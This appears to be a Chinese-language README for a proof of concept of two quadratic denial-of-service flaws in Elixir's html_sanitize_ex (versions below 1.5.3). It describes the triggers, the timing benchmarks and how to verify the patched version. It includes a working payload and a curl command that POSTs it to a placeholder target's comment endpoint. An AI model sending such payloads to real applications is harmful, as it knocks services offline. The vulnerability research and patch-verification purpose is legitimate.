
PoC,演示通过精心构造的 HTML 对 Elixir html_sanitize_ex 造成二次方 DoS;包含计时基准、远程利用 curl,以及针对已修补版本的验证。
html_sanitize_ex < 1.5.3 中存在二次方复杂度拒绝服务漏洞。
该库旨在中和不可信的 HTML,但两条独立的超线性代码路径可让单个精心构造的请求将 BEAM 调度器占用数秒。少量并发请求即可使调度器池饱和,应用停止响应。影响仅限可用性(CVSS 8.2 高危)。
| CVE | 组件 | 弱点 | 触发条件 |
|---|---|---|---|
| CVE-2026-68749 | HtmlSanitizeEx.Scrubber.CSS.scrub/1 | CWE-1333(正则表达式回溯) | <style> 内一长串单词字符并以 : 结尾 |
| CVE-2026-68750 | HtmlSanitizeEx.Traverser.traverse/2 | CWE-407(二次方遍历) | 扁平排列的允许同级标签长序列(例如 <b>a</b> × 20,000) |
CVE-2026-68749 仅可通过
html5/1(或扩展自:html5的自定义 scrubber)触达。 CVE-2026-68750 存在于每一个公共入口点,包括basic_html/1、markdown_html/1和strip_tags/1。
mix.exs # pins html_sanitize_ex to 1.5.2 (the last vulnerable release)
poc.exs # generates both payloads and times them
要求:Elixir ≥ 1.14 以及互联网连接(用于拉取 Hex 依赖)。
mix deps.get # fetches html_sanitize_ex 1.5.2
mix run poc.exs # runs both demos and prints timings
在易受攻击的 1.5.2 构建上,预期攻击耗时远超良性输入。输出大致如下(仅作示意;绝对值取决于硬件,但两个攻击基准值直接取自 EEF CNA 公告):
=== html_sanitize_ex 1.5.2 ===
CVE-2026-68749 — CSS scrubber (html5/1), 80000 chars of 'a'
benign (…a!): ~ milliseconds (returns near-instantly)
attack (…a!:): ~ 2.4 seconds (thousands of x slower)
diff is a single ':' character
CVE-2026-68750 — traverser (basic_html/1), <b>a</b> siblings
2,000 siblings: ~ milliseconds
20,000 siblings: ~ 1.7 seconds (10x input -> far more than 10x work)
ratio > 10 reveals super-linear growth
关键在于比率:攻击输入比同等大小的良性输入慢数个数量级,且输入增至 10 倍时,耗时远不止 10 倍。2.4 秒(80 KB <style>)与 1.7 秒(20,000 个同级标签)这两个数值引自上游公告。
编辑 mix.exs,将固定版本提升到已修补的版本:
@vulnerable_version "1.5.3" # or later — 1.5.3 contains both fixes
然后重新运行:
mix deps.update html_sanitize_ex
mix run poc.exs
在 1.5.3 上,良性输入与攻击输入的耗时收敛到同一数量级,因为修复限制了正则分组([-\w]+ → [-\w]{1,64}),并将遍历器重写为单个 Enum.reduce + 一次 List.flatten/1(O(n²) → O(n))。
在真实的 Phoenix 应用中,只要服务器对用户提供的富文本进行消毒,就会发生这些调用。攻击者只需将 payload 作为字段值 POST 上去——无需认证:
PAYLOAD="<style>$(python3 -c "print('a'*80000,end='')")!:</style>"
curl -s -o /dev/null -w "%{http_code} %{time_total}s\n" \
-X POST https://target.example.com/comments \
--data-urlencode "body=$PAYLOAD"
在 8 核主机上,8 个这样的并发请求即可占满全部 8 个 BEAM 调度器。
仅用于教育 / 授权测试。